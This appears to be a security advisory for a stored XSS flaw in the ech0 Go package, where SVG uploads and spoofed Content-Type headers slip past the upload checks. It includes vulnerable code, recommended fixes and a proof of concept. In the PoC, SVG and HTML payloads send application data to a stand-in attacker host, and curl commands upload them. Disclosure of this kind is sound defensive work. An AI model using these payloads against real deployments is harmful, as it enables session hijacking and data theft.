GHSA-69hx-63pv-f8f4

Source

https://github.com/advisories/GHSA-69hx-63pv-f8f4

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-69hx-63pv-f8f4/GHSA-69hx-63pv-f8f4.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-69hx-63pv-f8f4

Aliases

Published

2026-04-10T19:50:01Z

Modified

2026-08-27T04:10:33Z

Severity

4.8 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N CVSS Calculator

Summary

Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload

Details

Summary

The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.

Details

The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:

contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
    return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}

isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:

func isAllowedType(contentType string, allowedTypes []string) bool {
    for _, allowed := range allowedTypes {
        if contentType == allowed {
            return true
        }
    }
    return false
}

The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:

ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))

All locally stored files are served publicly without authentication at internal/router/modules.go:51:

ctx.Engine.Static("api/files", root)

This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.

No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).

Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.

Variant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.

PoC

Variant 1 — SVG XSS (simplest, default config):

# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <script>
    // Steal cookies and redirect to attacker
    fetch('/api/echo/page')
      .then(r => r.json())
      .then(d => {
        new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
      });
  </script>
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF

# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
  -H 'Authorization: Bearer <admin-jwt>' \
  -F 'file=@evil.svg;type=image/svg+xml' \
  -F 'category=image' \
  -F 'storage_type=local'

# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication — JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg

Variant 2 — Content-Type bypass with HTML:

# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
  document.write('<h1>XSS in ' + document.domain + '</h1>');
  // Exfiltrate data from same-origin API
  fetch('/api/echo/page').then(r=>r.json()).then(d=>{
    new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d));
  });
</script>
</body></html>
HTMLEOF

# 2. Upload with spoofed Content-Type
curl -X POST http://target:1024/api/files/upload \
  -H 'Authorization: Bearer <admin-jwt>' \
  -F 'file=@evil.html;type=image/jpeg' \
  -F 'category=image' \
  -F 'storage_type=local'

# 3. Access without authentication — renders as text/html:
# GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html

Impact

Stored XSS in the application origin: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.
Session hijacking: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.
Persistent backdoor: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.
Data exfiltration: JavaScript running in the application origin can call internal API endpoints (e.g., /api/echo/page) and exfiltrate application data.
Social engineering vector: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.

The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.

Recommended Fix

1. Validate Content-Type server-side using magic bytes (internal/service/file/file.go):

import "net/http"

// Replace client-controlled Content-Type with server-detected type
func detectContentType(file multipart.File) (string, error) {
    buf := make([]byte, 512)
    n, err := file.Read(buf)
    if err != nil && err != io.EOF {
        return "", err
    }
    if _, err := file.Seek(0, io.SeekStart); err != nil {
        return "", err
    }
    return http.DetectContentType(buf[:n]), nil
}

2. Remove image/svg+xml from default AllowedTypes or sanitize SVGs to strip <script> tags and event handlers before storage.

3. Add security headers in internal/router/middleware.go:

func SecurityHeaders() gin.HandlerFunc {
    return func(c *gin.Context) {
        c.Header("X-Content-Type-Options", "nosniff")
        c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'")
        c.Next()
    }
}

4. Serve uploaded files with Content-Disposition: attachment or from a separate origin/subdomain to isolate them from the application's cookie scope.

Database specific

{
    "cwe_ids":  [
        "CWE-434"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-04-10T19:50:01Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}

References

Affected packages

Go / github.com/lin-snow/ech0

Package

Name: github.com/lin-snow/ech0; View open source insights on deps.dev
Purl: pkg:golang/github.com/lin-snow/ech0

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

4.4.3

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-69hx-63pv-f8f4/GHSA-69hx-63pv-f8f4.json"